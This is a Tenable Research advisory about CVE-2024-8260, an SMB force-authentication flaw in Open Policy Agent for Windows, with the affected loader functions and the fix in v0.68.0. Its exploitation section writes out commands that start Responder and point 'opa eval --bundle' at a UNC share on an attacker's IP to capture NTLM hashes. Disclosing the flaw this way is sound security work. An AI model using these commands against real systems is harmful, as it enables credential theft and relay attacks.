Tenable Holdings Inc.

10/22/2024 | News release | Archived content

CVE 2024 8260: SMB Force Authentication Vulnerability in OPA Could Lead to Credential Leakage

Tenable Research discovered an SMB force-authentication vulnerability in Open Policy Agent (OPA) that is now fixed in the latest release of OPA. The vulnerability could have allowed an attacker to leak the NTLM credentials of the OPA server's local user account to a remote server, potentially allowing the attacker to relay the authentication or crack the password. The vulnerability affected both the OPA CLI (Community and Enterprise editions) and the OPA Go SDK.

TL;DR

During our research into policy-as-code tools, we decided to explore one of the most widely used policy engines, Open Policy Agent (OPA), which is leveraged and integrated by numerous vendors and projects. This exploration led us to discover an SMB force-authentication vulnerability (CVSSv3 6.1) affecting all existing versions of OPA for Windows at that time. If an attacker can execute the OPA CLI or the OPA Go package with control over file-related arguments, they can pass an arbitrary UNC share instead of a Rego rule or bundle. This could lead to the leakage of the NTLM credentials of the local user to a remote server, potentially allowing the attacker to relay the authentication or crack the password. This vulnerability has been assigned CVE-2024-8260, and a fix is now available in the latest release of OPA (v0.68.0).

Open Policy Agent (OPA) primer

Open Policy Agent (OPA) is an open-source, general-purpose policy engine written in Go and created by Styra. One notable use-case of OPA is admission control in Kubernetes, particularly through the popular Open Policy Agent Gatekeeper project. OPA has its own high-level, declarative policy language - Rego. In addition to the open-source project, OPA offers an Enterprise edition designed to handle large volumes of requests while maintaining the same policy evaluation functionality. Policies can be periodically fetched from a predefined source, such as a repository or cloud storage, or passed as an argument to the OPA CLI or one of the OPA Go SDK functions - which is where our vulnerability comes into play.

CVE-2024-8260: SMB force-authentication

Policies can be passed to the OPA CLI or to one of the OPA Go package’s functions when integrating with the Go SDK. You can provide either a single rule file or a policy bundle file, which OPA will use for policy evaluation. We were curious to see what kinds of inputs these parameters accept.

One experiment involved passing a Universal Naming Convention (UNC) path as a Rego rule file. When a user or application attempts to access a remote share on Windows, it forces the local machine to authenticate to the remote server via NTLM, and during this process, the NTLM hash of the local user is sent to the remote server. An attacker can leverage this mechanism to capture the credentials on his end, allowing them to relay the authentication or crack the hashes offline.

OPA CLI exploitation

When we passed the UNC path as a Rego rule file on the victim machine, we received an error indicating that OPA attempted to access the remote share, as seen on the screenshot below.

This sparked our curiosity: what if we crafted a UNC path pointing to a server we control and monitored the SMB requests? We set up the bundle path CLI parameter as a UNC referencing a remote share on our external server and began monitoring the requests.

We used Responder on the attacker’s machine to emulate an SMB server and catch the SMB authentication attempts:

sudo python3 ./Responder.py -I eth0 -v
opa eval --bundle \\165.232.112.59\file "data"

To our surprise, OPA attempted to authenticate to my server (165.232.112.59), and I was able to capture the credentials on the attacker’s side.

Here’s the output on the victim:

These are the NTLM credentials caught on the attacker’s side:

We then played with different OPA commands via the CLI, and found that additional commands such as the opa run -s and the opa eval -d are also affected.

We then performed the same experiments on the Enterprise edition of OPA CLI, and found it was vulnerable to SMB force authentication as well.

OPA’s Go SDK exploitation

Then, we explored the OPA Go package functions through my own simple Go code to find affected components that could impact projects and vendors that integrate OPA via the Go SDK.

Simple Go code that abuses the vulnerability in the rego.LoadBundle function

Once again, passing a UNC - this time to the rego.LoadBundle function - triggered an error indicative of network access attempt.

Another example for a vulnerable function is the AsBundle function. When provided with a UNC, the bundle load functionality implemented in the AsBundle() function inside the loader.go package would attempt to access the remote share to load the bundle from. OPA’s loader.go - a package containing utilities for loading files into OPA - prior to v0.68.0

The problem stemmed from insufficient sanitization of the path provided as input in various functions that handle bundle or Rego rule loading. The provided path was inserted, after minimal checks, into the Go functions responsible for loading files from the file system. On Windows, this behavior triggers SMB authentication when a remote share is provided. As a fix, a check was added in all the affected symbols of the loader.go package that raises an error if a UNC is provided.

After the fix:

OPA’s loader.go - a package containing utilities for loading files into OPA - patched since v0.68.0

OPA’s loader.go - a package containing utilities for loading files into OPA - patched since v0.68.0

OPA CLI and OPA’s Go SDK Vulnerability and Remediation

Affected CLI Version

The vulnerability exists in all versions of OPA for Windows prior to v0.68.0.

Affected Go Package

The affected package is github.com/open-policy-agent/opa/loader prior to v0.68.0. This package is responsible for loading policy and bundle files into OPA.

Affected symbols:

  • All
  • AllRegos
  • AsBundle
  • Filtered
  • FilteredPaths
  • FilteredPathsFS
  • GetBundleDirectoryLoader
  • GetBundleDirectoryLoaderFS
  • GetBundleDirectoryLoaderWithFilter

To remediate, update OPA CLI and the OPA Go SDK to the latest version.

Conclusion

Our exploration of the Open Policy Agent (OPA) project revealed a long-standing vulnerability that had gone unnoticed. As open-source projects become integrated into widespread solutions, it is crucial to ensure they are secure and do not expose vendors and their customers to an increased attack surface. This underscores the need for collaboration between security and engineering teams to mitigate such risks. We appreciate the collaboration and the rapid resolution of the Styra team in addressing this issue.